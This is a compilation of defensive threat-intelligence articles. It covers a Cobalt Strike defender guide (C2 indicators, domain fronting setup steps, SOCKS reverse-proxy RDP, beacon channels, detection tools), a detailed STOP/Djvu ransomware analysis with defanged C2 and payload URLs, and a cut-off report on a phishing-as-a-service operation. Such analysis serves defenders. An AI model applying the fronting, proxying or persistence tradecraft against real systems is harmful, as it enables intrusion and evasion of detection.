162.244.83.216 | /jquery-3.3.1.min.js | | sammitng.com | /jquery-3.3.1.min.js | | 23.19.227.147 | /styles.html | | securityupdateav.com | /tab_shop_active.html| | 108.62.118.247 | /as | | windowsupdatesc.com | /as | | 212.114.52.180 | /copyright.css | | defenderupdateav.com | /default.css | | onlineworkercz[.]com | /kj | | checkauj.com | /jquery-3.3.1.min.js | A deep dive into all available fields can be found in this post from @ZephrFish. He also includes other fields related to post-exploitation beacon configuration along with network communication-related fields. Another great resource is this article released by SpecterOps. ## Domain Fronting Domain fronting is another method for concealing communication between the endpoint and the command and control servers. The main purpose of domain fronting is to connect to a restricted host while pretending to communicate with an allowed host. It essentially masks your traffic to a certain website by masquerading it as a different domain. This technique is possible thanks to Content Delivery Networks (CDNs). Domain fronting was mostly used by web services to bypass censorship in several countries that restricted traffic (e.g., China). In recent years, attackers have started using this technique to hide their malicious infrastructure behind legitimate domains. Cobalt Strike made domain fronting possible by allowing the operators to configure related settings via the malleable C2 profiles. The following prerequisites must be met in order for domain fronting to be possible: 1. Own a domain. (e.g., infosecppl.store) 2. Pick one of the many web services that provide CDN capabilities. (e.g., cloudfront.net). 3. Setup the CDN service to create a new CDN endpoint and redirect traffic to your domain. (e.g., l33th4x0r.cloudfront.net). 4. Setup a profile to facilitate domain fronting. 5. Identify a domain that uses the same CDN to ensure that the traffic will be forwarded to the correct resource. Step five is where things get interesting. Attackers can use legitimate domains that are registered under the same CDN provider. All they have to do is include their CDN endpoint domain in the host header of the request. In that way, the legitimate website will forward the traffic through the CDN to the original destination according to the host header. In our reporting, we don’t see many instances of domain fronting. This is most likely due to the complex process of setting up the necessary infrastructure. Although, based on the data we have collected regarding malicious infrastructure, domain fronting appears to be used by threat actors. According to our data from early 2021 up to now, Amazon Cloudfront takes the lead on preferable CDN used by threat actors, by a large margin. ## Reverse Proxy using Cobalt Strike Beacon A technique that we come across often is a reverse proxy. We see instances where threat actors use their beacon sessions to establish RDP access through a reverse proxy. Cobalt Strike has the ability to run a SOCKS proxy server on the team server. This enables the operators to set up a listening port and leverage it to relay traffic to and from the open beacon session. Some of the cases we have observed threat actors using reverse proxy are: In most of the above cases, the aim of the attackers was to establish a Remote Desktop session. There are numerous advantages to establishing an RDP session, including the ability to navigate using a graphical environment and easily move laterally once the necessary access has been granted. Below, we demonstrate how attackers take advantage of this technique using proxychains from the attackers’ Kali Linux host. In the first image, the attackers open a SOCKS listening port, in this case port 8888, on the Cobalt Strike team server. In this second image, we employ proxychains from the attacker’s Kali Linux host to RDP into our target’s environment via the SOCKS server. We essentially add the team server’s IP address into the proxychains configuration and connect with xfreerdp. Looking into the generated artifacts, we can see that a 4624 type 3 event is created on the target host. One interesting aspect that we have also mentioned in similar cases from our reporting is that the victim’s hostname is captured in this logon event as well as the source address being 127.0.0.1. Once again, the running Cobalt Strike beacon acts as the intermediary to facilitate the Remote Desktop session via reverse proxy. ## Inside Cobalt Strike’s C2 Traffic This section will attempt to illustrate how the different malleable C2 profiles can affect network communication. In some of the examples below, we simulated the malicious C2 channel to show how different malleable profile configurations can change the observed traffic. After that, we’ll examine network data associated with lateral movement and the various methods employed by Cobalt Strike operators based on our observations. ### HTTP/HTTPS C2 traffic We will use a slightly modified version of the jquery profile to illustrate how the configuration defines the various fields that make up the C2 connection. Our previous article presented this jquery profile as one of the most commonly used profiles by threat actors in the intrusions we reported. As shown above, malleable C2 profiles can generate unique network traffic based on the provided configuration. The malleable profile determines the content of all parameters used in GET and POST requests. Because of how simple it is to change these parameters, creating network signatures for proactive defense can be difficult. Defenders can create signatures for publicly available profiles or profiles extracted and made available through open-source reporting. ### DNS C2 traffic Cobalt Strike is capable of using DNS as the C2 method. Operators can choose to configure their server to respond to beacon requests in A, AAAA, or TXT records. This strategy is useful for more covert operations, as the destination host could be a benign DNS server. Defenders will have to inspect the traffic data and look for suspicious DNS records. In the below example, we emulated this technique and configured the Beacon to communicate over DNS and request new tasks using A records. It is worth noting that the default method is the DNS TXT record data channel. ### SMB Beacons Another option for threat actors is to employ SMB beacons, once they have gained access to the network. SMB beacons open a local port on the target host and listen for incoming communication from a parent beacon. The communication between the two beacons is possible thanks to named pipes. Operators can configure the pipename on the client; however, the default pipename starts with “msagent_#” for SMB beacons. SMB beacons are mostly used to make network detection harder and to get access to isolated systems where communication to the internet is prohibited. Additionally, due to the SMB protocol being accessible in most internal networks, it makes for a reliable C2 method. According to our records, SMB beacons are not frequently used. However, they’re still a powerful weapon in the hands of skilled operators. We ran a PowerShell loader on the target host, which loaded a stageless SMB beacon in memory. In our case, the SMB Beacon is communicating over the network with a parent Beacon using named pipes. As you can see from the screenshots below, Windows event 4688 contains the execution of the PowerShell command. Sysmon events 17 and 18 can log named pipes. However, Sysmon should be explicitly configured to log named pipes. Furthermore, the SMB Beacon will communicate over port 445 to the main beacon, which will then send the results to the C2 server. This is known as chaining beacons. ## Detecting and Analyzing C2 Traffic Thanks to free, open-source tooling, investigating network traffic has become more accessible. There are specific tools that we use to analyze suspicious network traffic in our intrusion cases. We believe that no single tool can provide complete detection coverage, but we can get close by combining them. ### Sigma We’ll go through a few Sigma rules that can help us detect Cobalt Strike’s network activity. Cobalt Strike DNS Beaconing is a rule created by Florian Roth which looks at DNS logs to detect the default DNS C2 behavior. Another more generic rule created by Daniil Yugoslavskiy uses DNS logs to look for 50 or more TXT records from a single source in one minute. ### RITA Rita stands for Real Intelligence Threat Analytics (RITA), developed by Active Countermeasures. Rita is a framework for detecting command and control communication. It takes Zeek logs data and can accurately detect beaconing activity. One of the great features of Rita is its ease of use and detailed output information in various forms, including CSV and HTML. Using Rita, we can identify malicious C2 traffic based on multiple variables, including communication frequency, average bytes sent/received, number of connections, etc. As a result, we can detect Cobalt Strike beaconing regardless of the malleable C2 profile utilized or any additional jitter present. ### JA3/JA3S JA3 is an open-source project that can create SSL fingerprints for communication between clients and servers. The unique signatures can represent several values collected from fields in the Client Hello packet. The JA3 tool is used to generate a signature for the client-side beacon connection with the server. JA3S, on the other hand, is able to generate a server fingerprint. The combination of the two can produce the most accurate result. ### JARM Similar to JA3/JA3S, JARM has the ability to fingerprint the TLS values of the remote server. It does this by interacting with the target server sending 10 TLS Client Hello packets and recording the specific attributes from the replies. Cobalt Strike is dependent on Java to run both the client graphical user interface (GUI) and the team server. When we scan a Cobalt Strike server using JARM, the results we get back are dependent on the Java version that is used. To generate a JARM fingerprint against a server, you can run the JARM python tool: ``` python3 jarm.py [target] -p [port] ``` ### Arkime (Moloch) and JA3/S We included Arkime as it integrates with JA3/JA3S and other plugins to enhance network analysis. Arkime is a tool that we use a lot to investigate network activity and gather indicators. It can index network traffic and make events easily searchable. That wraps up Cobalt Strike, a Defender’s Guide Part 2. Would you like to see something specific in Part 3? Contact us here or on Twitter with suggestions. Thanks for reading and hope this helps!
# Sunshuttle Malware Analysis Forgot your password? Don't have an account yet? Register now.
# A Detailed Analysis of the STOP/Djvu Ransomware ## Summary STOP/Djvu ransomware is not as well-known as Conti, REvil, or BlackMatter; however, ESET ranked it third among the top ransomware families in Q2 2020. This ransomware can run with one of the following parameters: `–Admin`, `–Task`, `–AutoStart`, `–ForNetRes`, and `–Service`. The process does not target specific countries based on their country code and decrypts a list of files, file extensions, and folders that will be skipped. Two persistence mechanisms are implemented: a Run registry key and a scheduled task created using COM objects. The malware computes the MD5 hash of the MAC address and performs a GET request to the C2 server based on it. The binary also acts as a downloader for two malicious files called `build2.exe` and `build3.exe`. The victim ID is decrypted using the XOR operator and then written to a file called `PersonalID.txt`. Both local drives and network shares are targeted by the malware, and the files are encrypted using the Salsa20 algorithm. The Salsa20 matrix used for encrypting files is based on a UUID generated using the UuidCreate API, which is encrypted using an embedded RSA public key (if the C2 server is unreachable) or a public key downloaded from the C2 server. The RSA implementation found in the executable is taken from the OpenSSL project. ## Technical Analysis **SHA256:** `4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09cbe` The following PDB path can be found in the binary: `C:\xudihiguhe\jegovicatusoca\jijetogez\winucet\xusev\kucor.pdb`. There is a call to GlobalAlloc that allocates several bytes from the heap. The malware calls the LoadLibraryW function to load the `kernel32.dll` file into the address space of the process. The GetProcAddress API is utilized to retrieve the address of the `VirtualProtect` function. The memory area allocated above is filled in by the malware, and the VirtualProtect routine is used to change its protection to `0x40 = PAGE_EXECUTE_READWRITE`. There is also a lot of garbage code in the binary that is never executed. The process jumps at the beginning of the new shellcode. The binary retrieves the address of the following functions using GetProcAddress: `GlobalAlloc`, `GetLastError`, `Sleep`, `VirtualAlloc`, `CreateToolhelp32Snapshot`, `Module32First`, and `CloseHandle`. CreateToolhelp32Snapshot is utilized to take a snapshot of the current process that includes all its modules. The ransomware extracts information about the first module of the process using the Module32First API. The malicious process allocates and populates a new memory area via a function call to VirtualAlloc (`0x1000 = MEM_COMMIT` and `0x40 = PAGE_EXECUTE_READWRITE`). The malware calls the LoadLibraryA API to load the following DLLs into memory: `user32.dll`, `kernel32.dll`, and `ntdll.dll`. It also retrieves the address of several functions, including `MessageBoxA`, `GetMessageExtraInfo`, `WinExec`, `CreateFileA`, `WriteFile`, `CloseHandle`, `CreateProcessA`, `GetThreadContext`, `VirtualAlloc`, `VirtualAllocEx`, `VirtualFree`, `ReadProcessMemory`, `WriteProcessMemory`, `SetThreadContext`, `ResumeThread`, `WaitForSingleObject`, `GetModuleFileNameA`, `GetCommandLineA`, `NtUnmapViewOfSection`, `NtWriteVirtualMemory`, `RegisterClassExA`, `CreateWindowExA`, `PostMessageA`, `GetMessageA`, `DefWindowProcA`, `GetFileAttributesA`, `GetStartupInfoA`, `VirtualProtectEx`, and `ExitProcess`. From our perspective, the malware developers have implemented some actions that do not influence the main execution flow as an anti-analysis mechanism. GetFileAttributesA is used to retrieve file system attributes for a non-existent file. The file registers a window class called `saodkfnosa9uin` using the RegisterClassExA routine. The CreateWindowExA function is utilized to create a new window. The process allocates a new memory area via a function call to VirtualAlloc (`0x1000 = MEM_COMMIT` and `0x4 = PAGE_READWRITE`). The ransomware extracts the content of the STARTUPINFO structure. The malware creates a copy of itself in a suspended state via a call to CreateProcessA (`0x08000004 = CREATE_NO_WINDOW | CREATE_SUSPENDED`). GetThreadContext is used to retrieve the context of a specific thread. The malicious binary unmaps a view of a section from the address of the newly created process using ZwUnmapViewOfSection. The VirtualAllocEx routine is utilized to allocate new space in the newly created process (`0x3000 = MEM_COMMIT | MEM_RESERVE` and `0x40 = PAGE_EXECUTE_READWRITE`). The ransomware writes data to the area allocated above using multiple calls to ZwWriteVirtualMemory. The SetThreadContext function is used to set the context for the remote thread. The binary resumes the main thread of the suspended process using ResumeThread. We’ve extracted the executable from memory, and we continue to analyze this file. The following PDB path has been found: `e:\doc\my work (c++)_git\encryption\release\encrypt_win_api.pdb`. The binary initializes the use of the WinINet functions by calling the InternetOpenW API (the user agent being `Microsoft Internet Explorer`). The malware performs a GET request to `https://api.2ip.ua/geo.json`, which reveals details about the location of the IP address. InternetReadFile is used to read the response from the server. The `country_code` element is compared with several language codes. The systems that have one of the languages enumerated above will not be encrypted. The priority for the current process is set to high by calling the SetPriorityClass routine. The executable retrieves the command-line string for the process and then returns an array of pointers to the command-line arguments. It’s important to mention that the malware can run with one of the following parameters: `–Admin`, `–Task`, `–AutoStart`, `–ForNetRes`, and `–Service`. All process IDs that correspond to the processes on the system are retrieved by calling the EnumProcesses API. Each process object is opened by the ransomware using OpenProcess. The malware extracts a handle for each module from a process that was successfully opened. The GetModuleBaseNameW function is used to retrieve the base name of a module that is compared with the name of the executable. The binary performs a lot of XOR operations (key = `0x80`) in order to decrypt relevant strings. The ransomware opens the Run registry key using RegOpenKeyExW. The process is looking for a value called `SysHelper`, which doesn’t exist at this time. The UuidCreate function is used to generate a new UUID (16 random bytes). The process converts the UUID to a string using the UuidToStringW API. A new directory based on the UUID is created by the malware. The CopyFileW routine is utilized to copy the executable to a new file in the above directory. The ransomware establishes persistence on the host by creating an entry called `SysHelper` under the Run registry key, which will run the executable with the `–AutoStart` parameter whenever the user logs on. The binary denies “Everyone” to delete the folder created above using the icacls command. A second persistence mechanism consists of creating a scheduled task (using COM objects) that will run the ransomware every 5 minutes. The malicious file initializes the COM library on the current thread using the CoInitialize function. The CoInitializeSecurity routine is used to register and set the default security values for the process. The process creates an object with the CLSID `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}`, which implements the Schedule.Service class for operating the Windows Task Scheduler Service. A task called `Time Trigger Task` is deleted using the ITaskFolder::DeleteTask method. The ITaskService::NewTask function is utilized to create an empty task definition object. The binary retrieves the registration information of the task (the description, the author, and the date the task is registered) by calling the ITaskDefinition::get_RegistrationInfo method. The ransomware retrieves the principal for the task (which provides the security credentials) by calling the ITaskDefinition::get_Principal function. The security logon type is set to `0x3 (TASK_LOGON_INTERACTIVE_TOKEN)`, which means that the task will be run only in an existing interactive session. ITaskDefinition::get_Settings is utilized to retrieve the settings that describe how the Task Scheduler performs the task. The file sets a Boolean value to `0xFFFFFFFF (VARIANT_TRUE)` that indicates the Task Scheduler can start the task at any time after its scheduled time has elapsed using the ITaskSettings::put_StartWhenAvailable method. The amount of time the Task Scheduler will wait for an idle condition to occur is set to 5 minutes via a function call to IIdleSettings::put_WaitTimeout. ITaskDefinition::get_Triggers is used to get a collection of triggers used to start the task. The executable creates a new trigger for the task using the ITriggerCollection::Create method (`0x1 = TASK_TRIGGER_TIME`). The identifier for the trigger is set to `Trigger1` using the ITrigger::put_Id function. The ransomware sets the date and time when the trigger is deactivated by calling the ITrigger::put_EndBoundary method. The system time is extracted via a call to the _time64 function. The malware formats the system time into a human-readable form using strftime. The malicious binary sets the date and time when the trigger is activated by calling the ITrigger::put_StartBoundary method. IActionCollection::Create is utilized to create and add a new action to the collection (`0x0 = TASK_ACTION_EXEC`). The path of the executable is set to the copied file using the IExecAction::put_Path method. The `–Task` argument is added by calling the IExecAction::put_Arguments function. Finally, the malware uses the ITaskFolder::RegisterTaskDefinition method to create the task called `Time Trigger Task`. The ransomware launches itself with the following parameters `–Admin IsNotAutoStart IsNotTask`. ### “–Task“ Parameter GetAdaptersInfo is utilized to retrieve adapter information (including the MAC address) for the localhost. The malware calls the CryptAcquireContextW API in order to obtain a handle to a particular key container within a cryptographic service provider. The binary creates a handle to a CSP hash object using the CryptCreateHash API. The ransomware hashes a buffer that contains the MAC address extracted above via a function call to CryptHashData. The MD5 hash value is extracted by calling the CryptGetHashParam routine. A new thread is created by calling the CreateThread API. The RegOpenKeyExW function is used to open the `Software\Microsoft\Windows\CurrentVersion` registry key. The process is looking for a value named `SysHelper`, which doesn’t exist at this time. The entry from above is created, and its value is set to 1 using the RegSetValueExW API. The executable tries to locate a file called `bowsakkdestx.txt` in the `C:\Users\<User>\AppData\Local` directory, which doesn’t exist on our machine. The binary performs a GET request to the C2 server `securebiz[.]org` with the parameter `pid = MD5(MAC address)`. The response from the server is read using the InternetReadFile function. The binary creates the file called `bowsakkdestx.txt` using fopen. The file is populated using a function call to fwrite. An example of a real response can be seen at `https://app.any.run/tasks/900f626a-2bf6-48b2-85f9-2328f2b2d0d2/` and contains two elements: `public_key` and `id`. The malware wants to extract the `public_key` value from the response. Even though the C2 server was down, the binary comes with a hard-coded RSA public key. The file from above is deleted in any case. Using multiple XOR operations with `0x80`, the ransomware decrypts the RSA public key in PKCS1 format, a victim ID, and a URL that leads to another malicious file. We continue to analyze the main thread. A mutex called `{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}` is created via a function call to CreateMutexA. The malware decrypts the ransom note using the XOR operator. The following information is also decrypted (a list of files to be skipped, a list of extensions to be skipped, and a list of directories to be skipped): - Files to be skipped: - `ntuser.dat`, `ntuser.dat.LOG1`, `ntuser.dat.LOG2`, `ntuser.pol` - Extensions to be skipped: - `.sys`, `.ini`, `.DLL`, `.dll`, `.blf`, `.bat`, `.lnk`, `.regtrans-ms` - Directories to be skipped: - `C:\SystemID\`, `C:\Users\Default User\`, `C:\Users\Public\`, `C:\Users\All Users\`, `C:\Users\Default\`, `C:\Documents and Settings\`, `C:\ProgramData\`, `C:\Recovery\`, `C:\System Volume Information\`, `C:\Users\%username%\AppData\Roaming\`, `C:\Users\%username%\AppData\Local\`, `C:\Windows\`, `C:\PerfLogs\`, `C:\ProgramData\Microsoft\`, `C:\ProgramData\Package Cache\`, `C:\Users\Public\`, `C:\$Recycle.Bin\`, `C:\$WINDOWS.~BT\`, `C:\dell\`, `C:\Intel\`, `C:\MSOCache\`, `C:\Program Files\`, `C:\Program Files (x86)\`, `C:\Games\`, `C:\Windows.old\`, `D:\Users\%username%\AppData\Roaming\`, `D:\Users\%username%\AppData\Local\`, `D:\Windows\`, `D:\PerfLogs\`, `D:\ProgramData\Desktop\`, `D:\ProgramData\Microsoft\`, `D:\ProgramData\Package Cache\`, `D:\Users\Public\`, `D:\$Recycle.Bin\`, `D:\$WINDOWS.~BT\`, `D:\dell\`, `D:\Intel\`, `D:\MSOCache\`, `D:\Program Files\`, `D:\Program Files (x86)\`, `D:\Games\`, `E:\Users\%username%\AppData\Roaming\`, `E:\Users\%username%\AppData\Local\`, `E:\Windows\`, `E:\PerfLogs\`, `E:\ProgramData\Desktop\`, `E:\ProgramData\Microsoft\`, `E:\ProgramData\Package Cache\`, `E:\Users\Public\`, `E:\$Recycle.Bin\`, `E:\$WINDOWS.~BT\`, `E:\dell\`, `E:\Intel\`, `E:\MSOCache\`, `E:\Program Files\`, `E:\Program Files (x86)\`, `E:\Games\`, `F:\Users\%username%\AppData\Roaming\`, `F:\Users\%username%\AppData\Local\`, `F:\Windows\`, `F:\PerfLogs\`, `F:\ProgramData\Desktop\`, `F:\ProgramData\Microsoft\`, `F:\Users\Public\`, `F:\$Recycle.Bin\`, `F:\$WINDOWS.~BT\`, `F:\dell\`, `F:\Intel\` The executable retrieves the user name associated with the current thread by calling the GetUserNameW API. The malicious process is looking for a file called `PersonalID.txt` that doesn’t exist at this time. CreateDirectoryW is utilized to create a directory called `C:\SystemID`. The ransomware creates the file `C:\SystemID\PersonalID.txt` and writes the victim ID to it. It’s very uncommon that the malware searches the system for a file called `I:\5d2860c89d774.jpg`. LoadCursorW is used to load the standard arrow resource from the executable. The binary registers a window class using the RegisterClassExW routine. CreateWindowExW is utilized to create a new window called `LPCWSTRszTitle`. The window created earlier is hidden by calling the ShowWindow routine. The malware uses the ntdllDefWindowProcW API in order to call the default window procedure whenever a particular message needs to be processed. GetLogicalDrives is used to retrieve a bitmask that represents the available disk drives. The ransomware forces the system not to display the critical-error message box and sends these errors to the calling process. The file extracts the type of the drives by calling the GetDriveTypeA API and compares it with several drive types. Two new threads are created using the CreateThread function. The file retrieves a message from the message queue by calling the GetMessageW routine, translates virtual-key messages into character messages using TranslateMessage, and finally dispatches a message to a window procedure using DispatchMessageW. ### Thread Activity The malware enumerates all resources on the network via a function call to WNetOpenEnumW. WNetEnumResourceW is utilized to further enumerate the network resources. The message `DBT_DEVICEREMOVECOMPLETE` is sent to the window created earlier, and its procedure will handle it. When the window procedure receives the message, it calls the GetComputerNameW API in order to get the NetBIOS name of the local machine. The ransomware creates the ransom note called `_readme.txt` in every directory that it encrypts. The ransom note is populated by calling the WriteFile function. An example of a ransom note is highlighted below: ``` [Example of ransom note content] ``` The files are enumerated using the FindFirstFileW and FindNextFileW APIs. The directories mentioned earlier will not be encrypted. The file extension is extracted by calling the PathFindExtensionW routine. The files and file extensions mentioned earlier will be skipped. The ransomware also avoids files that have the `.tisc` extension because this will be appended after the encryption is complete. Each targeted file is opened using the CreateFileW routine. The file content is read by calling the ReadFile function. There is a function call to CryptAcquireContextW and another one to CryptCreateHash. The malware hashes a buffer that contains the first 5 bytes from the targeted file and the RSA public key. The MD5 hash value is extracted by calling the CryptGetHashParam routine. The binary creates a new UUID (16 random bytes) by calling the UuidCreate API. The process converts the UUID to a string using the UuidToStringA API. Based on the value generated above, the ransomware constructs the Salsa20 matrix. A snippet of the Salsa20 algorithm implemented by the malware is presented below. The process encrypts the file content using the Salsa20 algorithm; however, the first 5 bytes from the targeted file are not encrypted. Based on the strings presented earlier and our analysis of the RSA implementation, we believe that the malware developers have included the OpenSSL code. The binary encrypts the UUID generated before using the RSA public key embedded in the file. The encrypted content is written to the file using WriteFile. The malicious binary writes the encrypted UUID using the same API. The offline ID is also added to the encrypted file. The value `{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}` is also added to the encrypted file. The encrypted file extension is changed to `.tisc` by the ransomware. ### “–AutoStart“ Parameter The activity is similar to the case discussed above. ### “–Admin IsNotAutoStart IsNotTask“ Parameters The binary establishes a connection to the service control manager by calling the OpenSCManagerW routine. A service called `MYSQL` is opened by the process via a function call to OpenServiceW. Whether the service would exist on a host, the ransomware would stop it using the ControlService API. The file decrypts another URL that will be used to download more malicious files. A new thread is created by calling the CreateThread function. UuidCreate is utilized to generate a new UUID. The UuidToStringA routine is used to convert the UUID to a string. The malicious process creates a new directory based on the UUID generated above. The binary performs a GET request to download the malicious file. According to the analysis, the above executable is a malware called Ursnif (banking Trojan). The status code is extracted by calling the HttpQueryInfoW routine. A file called `build2.exe` is created in the new directory. The InternetReadFile routine is utilized to read the executable from the server. ShellExecuteA is used to run the newly created executable. The binary performs a GET request to download another malicious file. According to multiple online resources, the above file is supposed to be an infamous info-stealer called Vidar. The process of reading data from the server, creating the malicious file, etc. is the same as above and isn’t explained again. For completeness, we will also provide details about the other parameters that can be used. ### “–ForNetRes” Parameters The binary creates a mutex called `{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}` using the CreateMutexA API. According to online sources, the first parameter can be considered as a Key and the second one as a Personal ID. The malware performs a hashing operation (MD5) on the Key. The hash value is extracted using the CryptGetHashParam function. The execution flow is similar to the one starting with the previous analysis. ### “–Service” Parameters The above value represents the parent process ID, which is converted from string to a long integer value. The ransomware opens the local process object using the OpenProcess routine. After the parent process enters the signaled state, the file dispatches incoming sent messages, checks for posted messages, and then retrieves the messages. The malicious binary retrieves the exit code of the current process and then kills itself using TerminateProcess. Finally, we describe the case when the country code belongs to the following list: `RU`, `BY`, `UA`, `AZ`, `AM`, `TJ`, `KZ`, `KG`, `UZ`, and `SY`. CreateMutexA is utilized to create a mutex called `{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}`. A batch file called `delself.bat` is created in the `%TEMP%` directory. The above file is populated using the WriteFile API, and its content is displayed below. After the batch file finishes its execution, the malicious file and the script are deleted. ## Indicators of Compromise **C2 domains:** - `securebiz[.]org` - `znpst[.]top` **SHA256:** `4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09cbe` **Scheduled Task:** `Time Trigger Task` **Registry key:** `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper` **User-agent:** `Microsoft Internet Explorer` **PDB paths:** - `C:\xudihiguhe\jegovicatusoca\jijetogez\winucet\xusev\kucor.pdb` - `e:\doc\my work (c++)_git\encryption\release\encrypt_win_api.pdb` **URLs:** - `http[:]//securebiz[.]org/fhsgtsspen6/get.php` - `http[:]//securebiz.org/files/1/build3.exe` - `http[:]//znpst.top/dl/build2.exe` - `https[:]//api.2ip.ua/geo.json`
# Catching the Big Fish: Analyzing a Large-Scale Phishing-as-a-Service Operation In researching phishing attacks, we came across a campaign that used a rather high volume of newly created and unique subdomains—over 300,000 in a single run. This investigation led us down a rabbit hole as we unearthed one of the operations that enabled the campaign: a large-scale phishing-as-a-service operation called BulletProofLink, which sells phishing kits, email templates, hosting, and automated services at a relatively low cost. With over 100 available phishing templates that mimic known brands and services, the BulletProofLink operation is responsible for many of the phishing campaigns that impact enterprises today. BulletProofLink (also referred to as BulletProftLink or Anthrax by its operators in various websites, ads, and other promotional materials) is used by multiple attacker groups in either one-off or monthly subscription-based business models, creating a steady revenue stream for its operators. This comprehensive research into BulletProofLink sheds light on phishing-as-a-service operations. In this blog, we expose how effortless it can be for attackers to purchase phishing campaigns and deploy them at scale. We also demonstrate how phishing-as-a-service operations drive the proliferation of phishing techniques like “double theft,” a method in which stolen credentials are sent to both the phishing-as-a-service operator as well as their customers, resulting in monetization on several fronts. Insights into phishing-as-a-service operations, their infrastructure, and their evolution inform protections against phishing campaigns. The knowledge we gained during this investigation ensures that Microsoft Defender for Office 365 protects customers from the campaigns that the BulletProofLink operation enables. As part of our commitment to improve protection for all, we are sharing these findings so the broader community can build on them and use them to enhance email filtering rules as well as threat detection technologies like sandboxes to better catch these threats. ## Understanding Phishing Kits and Phishing-as-a-Service (PhaaS) The persistent onslaught of email-based threats continues to pose a challenge for network defenders because of improvements in how phishing attacks are crafted and distributed. Modern phishing attacks are typically facilitated by a large economy of email and false sign-in templates, code, and other assets. While it was once necessary for attackers to individually build phishing emails and brand-impersonating websites, the phishing landscape has evolved its own service-based economy. Attackers who aim to facilitate phishing attacks may purchase resources and infrastructure from other attacker groups including: - **Phish kits:** Refers to kits that are sold on a one-time sale basis from phishing kit sellers and resellers. These are packaged files, usually a ZIP file, that come with ready-to-use email phishing templates designed to evade detection and are often accompanied by a portal with which to access them. Phish kits allow customers to set up the websites and purchase the domain names. Alternatives to phishing site templates or kits also include templates for the emails themselves, which customers can customize and configure for delivery. One example of a known phish kit is the MIRCBOOT phish kit. - **Phishing-as-a-service:** Similar to ransomware-as-a-service (RaaS), phishing-as-a-service follows the software-as-a-service model, which requires attackers to pay an operator to wholly develop and deploy large portions or complete phishing campaigns from false sign-in page development, website hosting, and credential parsing and redistribution. BulletProofLink is an example of a phishing-as-a-service (PhaaS) operation. It’s worth noting that some PhaaS groups may offer the whole deal—from template creation, hosting, and overall orchestration, making it an enticing business model for their clientele. Many phishing service providers offer a hosted scam page solution they call “FUD” Links or “Fully undetected” links, a marketing term used by these operators to try and provide assurance that the links are viable until users click them. These phishing service providers host the links and pages and attackers who pay for these services simply receive the stolen credentials later on. Unlike in certain ransomware operations, attackers do not gain access to devices directly and instead simply receive untested stolen credentials. ## Breaking Down BulletProofLink Services To understand how PhaaS works in detail, we dug deep into the templates, services, and pricing structure offered by the BulletProofLink operators. According to the group’s About Us web page, the BulletProofLink PhaaS group has been active since 2018 and proudly boasts of their unique services for every “dedicated spammer.” The operators maintain multiple sites under their aliases, BulletProftLink, BulletProofLink, and Anthrax, including YouTube and Vimeo pages with instructional advertisements as well as promotional materials on forums and other sites. In many of these cases, and in ICQ chat logs posted by the operator, customers refer to the group as the aliases interchangeably. ### BulletProofLink Registration and Sign-In Pages BulletProofLink additionally hosts multiple sites, including an online store where they allow their customers to register, sign in, and advertise their hosted service for monthly subscriptions. Over the course of monitoring this operation, their online store had undergone multiple revisions. The source code for the site’s pages contained references to artifacts elsewhere on the site, which included ICQ chat messages and advertisements. While those references are still present in newer versions, the sign-in page for the monthly subscription site no longer contains service pricing information. In previous versions, the sites alluded to the cost for the operator to host FUD links and return credentials to the purchasing party. Just like any other service, the group even boasts of a 10% welcome discount on customers’ orders when they subscribe to their newsletter. ### Credential Phishing Templates BulletProofLink operators offer over 100 templates and operate with a highly flexible business model. This business model allows customers to buy the pages and “ship” the emails themselves and control the entire flow of password collection by registering their own landing pages or make full use of the service by using the BulletProofLink’s hosted links as the final site where potential victims key in their credentials. The templates are designed to evade detection while successfully phishing for credentials, but may vary based on the individual purchasing party. Likewise, the wide variety of templates offered does not guarantee that all BulletProofLink facilitated campaigns will look identical. Instead, the campaigns themselves can be identified with a mixture of phishing page source code, combined with the PHP password processing sites referenced therein, as well as the hosting infrastructure used in their larger-scale campaigns. These password-processing domains correlate back to the operator through hosting, registration, email, and other metadata similarities during domain registration. The templates offered are related to the phishing pages themselves, so the emails that service them may seem highly disparate and handled by multiple operators. ### Services Offered: Customer Hosting and Support The phishing operators list an array of services on their site along with the corresponding fees. As other researchers noted, the monthly service costs as much as $800, while other services cost about $50 for a one-time hosting link. We also found that Bitcoin is a common payment method accepted on the BulletProofLink site. In addition to communicating with customers on site accounts, the operators display various methods of interacting with them, which include Skype, ICQ, forums, and chat rooms. Like a true software business dedicated to their customers, the operators provide customer support services for new and existing customers. The hosting service includes a weekly log shipment to purchasing parties, usually sent manually over ICQ or email. Analysis of individual activity on password-processing replies from the collected infrastructure indicates that the credentials are received on the initial template page and then sent to password-processing sites owned by the operator. At the time of this report, BulletProofLink continues to operate active phishing campaigns, with large volumes of redirections to their password-processing links from legitimate web hosting providers. In the next section, we describe one such campaign. ## Tracking a BulletProofLink-Enabled Campaign As mentioned, we uncovered BulletProofLink while investigating a phishing campaign that used the BulletProofLink phishing kit on either attacker-controlled sites or sites provided by BulletProofLink as part of their service. The campaign itself was notable for its use of 300,000 subdomains, but our analysis exposed one of many implementations of the BulletProofLink phishing kit. An interesting aspect of the campaign that drew our attention was its use of a technique we call “infinite subdomain abuse,” which happens when attackers compromise a website’s DNS or when a compromised site is configured with a DNS that allows wildcard subdomains. “Infinite subdomains” allow attackers to use a unique URL for each recipient while only having to purchase or compromise one domain for weeks on end. It is gaining popularity among attackers for the following reasons: - It serves as a departure from previous techniques that involved hackers obtaining large sets of single-use domains. To leverage infinite subdomains for use in email links that serve to redirect to a smaller set of final landing pages, the attackers then only need to compromise the DNS of the site, and not the site itself. - It allows phishing operators to maximize the unique domains they are able to use by configuring dynamically generated subdomains as prefixes to the base domain for each individual email. - The creation of unique URLs poses a challenge to mitigation and detection methods that rely solely on exact matching for domains and URLs. The phishing campaign also impersonated (albeit poorly) the Microsoft logo and branding. The impersonation technique used solid colors for the logo, which may have been done intentionally to bypass detection of the Microsoft logo’s four distinct colors. It is worth noting that later iterations of the campaign have switched to using the four colors in the Microsoft logo. These messages also used a technique called zero-point font, which pads the HTML of the message with characters that render as invisible to the user, to obfuscate the email body and attempt to evade detection. This technique is increasingly used by phishers to evade detection. We found that the phishing URL in the email contained Base64-encoded victim information along with an 